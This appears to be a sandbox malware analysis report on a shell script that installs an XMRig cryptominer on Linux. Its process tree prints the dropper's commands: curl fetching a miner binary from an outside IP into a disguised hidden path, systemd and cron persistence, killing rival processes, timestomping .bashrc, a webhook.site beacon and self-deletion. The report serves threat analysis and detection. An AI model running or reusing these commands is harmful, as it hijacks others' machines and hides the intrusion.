Resubmissions

08/05/2026, 17:40

260508-v8t3kaez3r10

08/05/2026, 17:39

260508-v79fvsbt9z10

08/05/2026, 17:38

260508-v75snsez2r1

08/05/2026, 17:38

260508-v7zawsey9r1

Analysis

  • user interaction
    yes
  • max time kernel
    23s
  • max time network
    47s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260127-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260127-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    08/05/2026, 17:39

General

  • Target
    sex.sh
  • Size 5KB
  • Sample260508-v79fvsbt9z
  • SHA256 8f5c0cbcb775a704015322284dbcdbf2252f3a6688a95eef7a0b7a1b1a685d0d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Cryptocurrency Miner

    Makes network request to known mining pool URL.

  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Creates/modifies environment variables 1 TTPs 2 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Modifies Bash startup script 2 TTPs 2 IoCs
  • Reads CPU attributes 1 TTPs 4 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sex.sh
    /tmp/sex.sh
    1⤵
    • Creates/modifies environment variables
    • Modifies systemd
    • Modifies Bash startup script
    • Writes file to tmp directory
    PID:1511
    • /bin/systemctl
      systemctl is-active --quiet dbus-system-monitor.service
      2⤵
        PID:1512
      • /bin/systemctl
        systemctl stop crond
        2⤵
          PID:1513
        • /usr/bin/crontab
          crontab -r
          2⤵
            PID:1514
          • /bin/rm
            rm -rf /etc/cron.d/anacron /etc/cron.d/popularity-contest
            2⤵
              PID:1515
            • /usr/bin/which
              which podman
              2⤵
                PID:1517
              • /usr/bin/which
                which docker
                2⤵
                  PID:1519
                • /usr/bin/xargs
                  xargs -r kill -9
                  2⤵
                    PID:1522
                    • /usr/local/sbin/kill
                      kill -9 488 493 579 676 1521
                      3⤵
                        PID:1523
                      • /usr/local/bin/kill
                        kill -9 488 493 579 676 1521
                        3⤵
                          PID:1523
                        • /usr/sbin/kill
                          kill -9 488 493 579 676 1521
                          3⤵
                            PID:1523
                          • /usr/bin/kill
                            kill -9 488 493 579 676 1521
                            3⤵
                              PID:1523
                            • /sbin/kill
                              kill -9 488 493 579 676 1521
                              3⤵
                                PID:1523
                              • /bin/kill
                                kill -9 488 493 579 676 1521
                                3⤵
                                • Reads CPU attributes
                                PID:1523
                            • /bin/ps
                              ps -eo "pid,ppid,cmd,%cpu" "--sort=-%cpu"
                              2⤵
                              • Reads CPU attributes
                              • Reads runtime system information
                              PID:1520
                            • /usr/bin/awk
                              awk " NR>1 && \$4 > 60 && \$3 !~ /(httpd|nginx|mysqld|php-fpm|sshd|node|redis|systemd|dbus-daemon-service)/ { print \$1 }"
                              2⤵
                                PID:1521
                              • /usr/bin/pkill
                                pkill -9 -f xfsd
                                2⤵
                                • Reads CPU attributes
                                • Reads runtime system information
                                PID:1524
                              • /usr/bin/pkill
                                pkill -9 -f kworkerds
                                2⤵
                                • Reads CPU attributes
                                • Reads runtime system information
                                PID:1526
                              • /bin/mkdir
                                mkdir -p /usr/share/zoneinfo/.dbus/.k
                                2⤵
                                  PID:1531
                                • /usr/bin/cut
                                  cut -d: -f1
                                  2⤵
                                    PID:1534
                                  • /usr/bin/cut
                                    cut -d: -f2
                                    2⤵
                                      PID:1539
                                    • /bin/date
                                      date "+%s%N"
                                      2⤵
                                        PID:1543
                                      • /bin/nc
                                        nc -z -w 2 pool.supportxmr.com 8080
                                        2⤵
                                          PID:1544
                                        • /bin/date
                                          date "+%s%N"
                                          2⤵
                                            PID:1565
                                          • /usr/bin/cut
                                            cut -d: -f1
                                            2⤵
                                              PID:1568
                                            • /usr/bin/cut
                                              cut -d: -f2
                                              2⤵
                                                PID:1571
                                              • /bin/date
                                                date "+%s%N"
                                                2⤵
                                                  PID:1572
                                                • /bin/nc
                                                  nc -z -w 2 auto.c3pool.org 80
                                                  2⤵
                                                    PID:1573
                                                  • /bin/date
                                                    date "+%s%N"
                                                    2⤵
                                                      PID:1618
                                                    • /usr/bin/cut
                                                      cut -d: -f1
                                                      2⤵
                                                        PID:1621
                                                      • /usr/bin/cut
                                                        cut -d: -f2
                                                        2⤵
                                                          PID:1624
                                                        • /bin/date
                                                          date "+%s%N"
                                                          2⤵
                                                            PID:1625
                                                          • /bin/nc
                                                            nc -z -w 2 pool.supportxmr.com 80
                                                            2⤵
                                                              PID:1626
                                                            • /bin/date
                                                              date "+%s%N"
                                                              2⤵
                                                                PID:1627
                                                              • /usr/bin/cut
                                                                cut -d: -f1
                                                                2⤵
                                                                  PID:1630
                                                                • /usr/bin/cut
                                                                  cut -d: -f2
                                                                  2⤵
                                                                    PID:1633
                                                                  • /bin/date
                                                                    date "+%s%N"
                                                                    2⤵
                                                                      PID:1634
                                                                    • /bin/nc
                                                                      nc -z -w 2 pool.supportxmr.com 3333
                                                                      2⤵
                                                                        PID:1635
                                                                      • /bin/date
                                                                        date "+%s%N"
                                                                        2⤵
                                                                          PID:1638
                                                                        • /usr/bin/cut
                                                                          cut -d: -f1
                                                                          2⤵
                                                                            PID:1641
                                                                          • /usr/bin/cut
                                                                            cut -d: -f2
                                                                            2⤵
                                                                              PID:1644
                                                                            • /bin/date
                                                                              date "+%s%N"
                                                                              2⤵
                                                                                PID:1645
                                                                              • /bin/nc
                                                                                nc -z -w 2 auto.c3pool.org 443
                                                                                2⤵
                                                                                  PID:1646
                                                                                • /bin/date
                                                                                  date "+%s%N"
                                                                                  2⤵
                                                                                    PID:1652
                                                                                  • /bin/uname
                                                                                    uname -m
                                                                                    2⤵
                                                                                      PID:1653
                                                                                    • /usr/bin/curl
                                                                                      curl -sSL -k -o /usr/share/zoneinfo/.dbus/dbus-daemon-service http://103.213.248.200/xmrig_86
                                                                                      2⤵
                                                                                        PID:1654
                                                                                      • /bin/chmod
                                                                                        chmod +x /usr/share/zoneinfo/.dbus/dbus-daemon-service
                                                                                        2⤵
                                                                                        • File and Directory Permissions Modification
                                                                                        PID:1825
                                                                                      • /bin/cat
                                                                                        cat
                                                                                        2⤵
                                                                                          PID:1826
                                                                                        • /bin/systemctl
                                                                                          systemctl daemon-reload
                                                                                          2⤵
                                                                                            PID:1827
                                                                                          • /bin/systemctl
                                                                                            systemctl enable dbus-system-monitor.service
                                                                                            2⤵
                                                                                              PID:1848
                                                                                            • /bin/systemctl
                                                                                              systemctl restart dbus-system-monitor.service
                                                                                              2⤵
                                                                                                PID:1869
                                                                                              • /bin/systemctl
                                                                                                systemctl start crond
                                                                                                2⤵
                                                                                                  PID:1893
                                                                                                • /usr/bin/crontab
                                                                                                  crontab -
                                                                                                  2⤵
                                                                                                  • Creates/modifies Cron job
                                                                                                  PID:1895
                                                                                                • /bin/grep
                                                                                                  grep -v dbus-daemon-service
                                                                                                  2⤵
                                                                                                    PID:1897
                                                                                                  • /usr/bin/crontab
                                                                                                    crontab -l
                                                                                                    2⤵
                                                                                                      PID:1896
                                                                                                    • /bin/grep
                                                                                                      grep -q release-upgrade /root/.bashrc
                                                                                                      2⤵
                                                                                                        PID:1898
                                                                                                      • /usr/bin/stat
                                                                                                        stat -c "%y" /etc/passwd
                                                                                                        2⤵
                                                                                                          PID:1899
                                                                                                        • /bin/mkdir
                                                                                                          mkdir -p /etc/update-manager/
                                                                                                          2⤵
                                                                                                            PID:1900
                                                                                                          • /usr/bin/touch
                                                                                                            touch -d "2023-10-18 10:29:22.106227000 +0100" /root/.bashrc
                                                                                                            2⤵
                                                                                                            • Creates/modifies environment variables
                                                                                                            • Modifies Bash startup script
                                                                                                            PID:1901
                                                                                                          • /usr/bin/curl
                                                                                                            curl -s -k -X POST -d "ok=1" https://webhook.site/f8aba51a-1657-4c9a-b1eb-f82231d70bab
                                                                                                            2⤵
                                                                                                              PID:1902
                                                                                                            • /bin/rm
                                                                                                              rm -f /tmp/sex.sh
                                                                                                              2⤵
                                                                                                                PID:1904

                                                                                                            Network

                                                                                                                  MITRE ATT&CK Enterprise v16

                                                                                                                  Replay Monitor

                                                                                                                  Loading Replay Monitor...

                                                                                                                  Downloads

                                                                                                                  release-upgrade

                                                                                                                  • Path /etc/update-manager/release-upgrade
                                                                                                                  • Size 27B
                                                                                                                  • SHA256 db05de79e234af2e0437d98dfb31108293f8169f569141d92a1e78b462d847e4
                                                                                                                  • MD5 SHA1 SHA512

                                                                                                                  sh-thd.o9F3SE

                                                                                                                  • Path /tmp/sh-thd.o9F3SE
                                                                                                                  • Size 1KB
                                                                                                                  • SHA256 688ac6bf1570410cb29c280598b0cee6513983de1ef3294ab1ceedc08eacf28a
                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                  config.env

                                                                                                                  • Path /usr/share/zoneinfo/.dbus/config.env
                                                                                                                  • Size 103B
                                                                                                                  • SHA256 72a8ba61ce79889244213267a91f54d35301ad671cbd8b6d2ad89dcb2b8dce15
                                                                                                                  • MD5 SHA1 SHA512 TLSH

                                                                                                                  dbus-daemon-service

                                                                                                                  • Path /usr/share/zoneinfo/.dbus/dbus-daemon-service
                                                                                                                  • Size 7.9MB
                                                                                                                  • SHA256 0c748b9e8bc6b5b4fe989df67655f3301d28ef81617b9cbe8e0f6a19d4f9b657
                                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                  tmp.Srugku

                                                                                                                  • Path /var/spool/cron/crontabs/tmp.Srugku
                                                                                                                  • Size 239B
                                                                                                                  • SHA256 8a5ff7c330fa4ad540667438eeb96e5edd0cf49c5cedb3bd5651e00f03c35f00
                                                                                                                  • MD5 SHA1 SHA512 TLSH